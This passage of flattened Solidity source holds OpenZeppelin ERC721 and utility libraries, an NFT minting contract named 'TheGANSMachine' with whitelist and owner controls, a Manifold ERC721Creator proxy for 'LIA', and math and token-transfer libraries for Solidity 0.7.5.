require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/gansy.sol
pragma solidity ^0.8.0;
contract TheGANSMachine is ERC721, Ownable, Pausable {
using Counters for Counters.Counter;
using Strings for uint256;
address _address_for_withdrawal = 0x45C0728aE3aAf2fb2eB6052602d517d76B6A389E;
Counters.Counter private _total;
Counters.Counter private _reserved_total;
mapping (address => uint256) private _whitelist;
uint256 private _price = 0.25 ether;
uint256 private _mint_supply = 1250;
uint256 private _mint_reserved = 20;
uint256 private _mint_limit = 10;
string private _base_url = 'https://2-crypto.s3.amazonaws.com/the-gans-collective/NFT_META/';
bool private _is_whitelist_only = true;
bool private _mint_limit_by_addy = false;
//construct
constructor() ERC721('The GANS Machine','GANS') {
}
//pausing of contract
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
//whitelist
function toggle_whitelist(bool change) public onlyOwner {
_is_whitelist_only = change;
}
function add_to_whitelist(address[] memory addresses, uint256[] memory mint_nums) public onlyOwner {
for(uint i=0;i<addresses.length;i++) {
address user = addresses[i];
uint256 mint_num = mint_nums[i];
_whitelist[user] = mint_num;
}
}
function remove_from_whitelist(address[] memory addresses) public onlyOwner {
for(uint i=0;i<addresses.length;i++) {
address user = addresses[i];
if(_whitelist[user] > 0) {
_whitelist[user] = 0;
}
}
}
function is_whitelisted(address user) public view returns (bool) {
if(_whitelist[user] > 0) {
return true;
}
return false;
}
function is_whitelist_on() public view returns (bool) {
return _is_whitelist_only;
}
function get_whitelisted_mint_num(address user) public view returns (uint256) {
if(_whitelist[user] > 0) {
return _whitelist[user];
}
return 0;
}
//set
function set_price(uint256 new_price) public onlyOwner() {
_price = new_price;
}
function set_mint_supply(uint256 new_limit) public onlyOwner() {
_mint_supply = new_limit;
}
function set_mint_reserve(uint256 new_limit) public onlyOwner() {
_mint_reserved = new_limit;
}
function set_mint_limit(uint256 new_limit) public onlyOwner() {
_mint_limit = new_limit;
}
function set_mint_limit_state(bool state) public onlyOwner() {
_mint_limit_by_addy = state;
}
function set_base_url(string memory new_url) public onlyOwner() {
_base_url = new_url;
}
//get
function get_price() public view returns (uint256) {
return _price;
}
function get_supply_limit() public view returns (uint256) {
return _mint_supply;
}
function get_reserve_limit() public view returns (uint256) {
return _mint_reserved;
}
function get_mint_limit() public view returns (uint256) {
return _mint_limit;
}
function baseTokenURI() public view returns (string memory) {
return _base_url;
}
function tokenURI(uint256 token_id) public view override returns (string memory) {
require(_exists(token_id),'ERC721Metadata: URI query for nonexistent token');
return string(abi.encodePacked(_base_url,token_id.toString()));
}
function get_total_minted() public view returns (uint256) {
return _total.current();
}
function get_total_reserved() public view returns (uint256) {
return _reserved_total.current();
}
function totalSupply() public view returns (uint256) {
return _total.current();
}
//withdraw
function withdraw() public payable onlyOwner {
uint256 _each = address(this).balance / 1;
require(payable(_address_for_withdrawal).send(_each));
}
//mint
function mint(uint256 mint_num) public payable {
//must mint at least one
require(mint_num > 0, 'Need to mint at least 1 NFT.');
//cannot mint more than allowance
if(_mint_limit_by_addy) {
uint256 token_count = balanceOf(msg.sender);
require(token_count + mint_num <= _mint_limit, 'You have exceeded maximum mint limit.');
}
else {
require(mint_num <= _mint_limit, 'You have exceeded maximum mint limit.');
}
//entire mint supply has been minted
require(_total.current() - _reserved_total.current() + mint_num <= _mint_supply - _mint_reserved, 'You have exceeded the remaining mintable NFTs.');
//minter did not send enough ETH
require(msg.value >= _price * mint_num, 'Did not send enough ETH.');
//if whitelist is on
if(_is_whitelist_only == true) {
//must be whitelisted
require(is_whitelisted(msg.sender),'Not whitelisted.');
//cannot mint more than allowed
uint256 whitelisted_mint_num = get_whitelisted_mint_num(msg.sender);
uint256 token_count = balanceOf(msg.sender);
require(token_count + mint_num <= whitelisted_mint_num, 'You have exceeded maximum mint limit.');
}
//mint
for(uint256 i;i<mint_num;i++) {
_total.increment();
_safeMint(msg.sender,_total.current());
}
}
function mint_reserve(address address_to, uint256 mint_num) external onlyOwner() {
//cannot mint more than allowance
require(_reserved_total.current() + mint_num <= _mint_reserved, 'You have exceeded maximum reserved mint limit.');
//mint
for(uint256 i;i<mint_num;i++) {
_total.increment();
_reserved_total.increment();
_safeMint(address_to,_total.current());
}
}
function _beforeTokenTransfer(address from, address to, uint256 token_id) internal whenNotPaused override(ERC721) {
super._beforeTokenTransfer(from, to, token_id);
}
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: LIA
/// @author: manifold.xyz
import "./ERC721Creator.sol";
///////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// /////////////////////////////////////////////////////////////////////////////////////////// //
// // // //
// // // //
// // ████ ████ ██████ // //
// // ████ ████ ████████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ████ ████ ████ ████ // //
// // ███████████████████████████████████████████████ ████ // //
// // // //
// // // //
// /////////////////////////////////////////////////////////////////////////////////////////// //
// //
// //
///////////////////////////////////////////////////////////////////////////////////////////////////////
contract liasomething is ERC721Creator {
constructor() ERC721Creator("LIA", "liasomething") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
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|
// File contracts/libraries/SafeMath.sol
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
// File contracts/libraries/Address.sol
pragma solidity 0.7.5;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
// File contracts/interfaces/IERC20.sol
pragma solidity 0.7.5;
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/libraries/SafeERC20.sol
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/libraries/FullMath.sol
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
// File contracts/libraries/FixedPoint.sol
pragma solidity 0.7.5;
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
